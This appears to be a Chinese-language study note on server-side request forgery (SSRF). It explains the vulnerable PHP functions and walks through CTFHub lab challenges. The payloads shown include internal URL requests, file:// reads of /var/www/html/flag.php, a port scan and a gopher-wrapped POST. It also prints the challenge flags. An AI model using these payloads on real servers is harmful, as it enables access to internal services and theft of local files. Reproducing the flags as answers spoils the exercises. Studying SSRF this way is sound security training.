week3-web-SSRF
上面是大概的整个框架,咱们一个一个来
SSRF漏洞介绍及原理
主要由攻击者构造请求,由服务端发起请求的安全漏洞,差不多就是信息泄露漏洞。攻击的目标是外网无法访问的内部系统。
形成是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
攻击方式:
- 对外网,服务器所在内网,本地进行端口扫描,获取一些服务的banner信息
- 攻击运行在内网或本地的应用程序。
- 攻击内外网的web应用,使用http get请求就可以实现
- 利用file协议读取本地文件
漏洞产生的相关函数:
file_get_contents()
1 | <?php |
这个函数从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。
这个函数把一个字符串写入文件中
fsockopen()
1 | <?php |
这个函数实现对用户指定url数据的获取,使用socket连接,使用fsockopen()函数尝试与远端服务器建立TCP/IP连接。若连接成功,返回一个资源标识符;反之返回false。
host
是主机名,port
是端口,errstr
表示错误信息将以字符串的信息返回,且以30为时限
curl_exec()
1 | <?php |
这个函数用于执行指定的cURL会话
注意!!
- 一般情况下PHP不会开启fopen的gopher wrapper
- file_get_contents的gopher协议不能URL编码
- file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
- curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
- curl_exec() //默认不跟踪跳转
- file_get_contents() // file_get_contents支持php://input协议
看一些相关例题
CTFHUB-内网访问
图中包含关键信息 尝试访问位于127.0.0.1的flag.php
已经提示要访问的内网地址,并且输入进去回车一下并没有被挡住
1 | http://challenge-37f9ce83319ff7da.sandbox.ctfhub.com:10800/?url=``127.0.0.1/flag.php |
如上图,得到
1 | ctfhub{c73c88945792dbcb94a739d9} |
CTFHUB-伪协议读取文件
根据给出的提示,读取web目录下的flag.php,所以我们应该知道web目录地址,通常情况下是在/var/www/html/
还有一个知识预备:
file:// -访问本地文件系统
http:// -访问http(s)网址
…….
1 | http://challenge-aad86e53e0aa9832.sandbox.ctfhub.com:10800/?``url=file:///var/www/html/flag.php |
查看源码后获得flag
1 | ctfhub{381b765b9f4b42b05d4ff235} |
CTFHUB-端口扫描
解法一:利用Burp
开始攻击
找到长度不同对应的端口,8468
1 | http://challenge-278b9ef55b2c3682.sandbox.ctfhub.com:10800/``?url=127.0.0.1:8468 |
解法二:利用脚本
1 | import requests #导入repuests库,用于发送http请求 |
当运行到对应端口,出现flag
1 | ctfhub{2eca6e24d819312c473a34d1} |
CTFHUB-POST请求
看提示
这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
我们先试着通过GET访问一下flag.php
1 | http://challenge-42b6c44fe6645614.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php |
查看一下源码
1 | <form action="/flag.php" method="post"> |
那我们就在输入框中输入key的值
显示一下页面
意思是我们只被允许从127.0.0.1中访问
尝试通过file协议读取index.php和flag.php的源码,如下:
1 | ?url=file:///var/www/html/index.php |
我们使用Gopher 协议向服务器发送POST包,下面是构造的请求
1 | POST /flag.php HTTP/1.1 |
下面是利用赛博厨子对url编码进行编码
发送post请求,得到flag
1 | ctfhub{697c699c9719bbf6a98fa2d9} |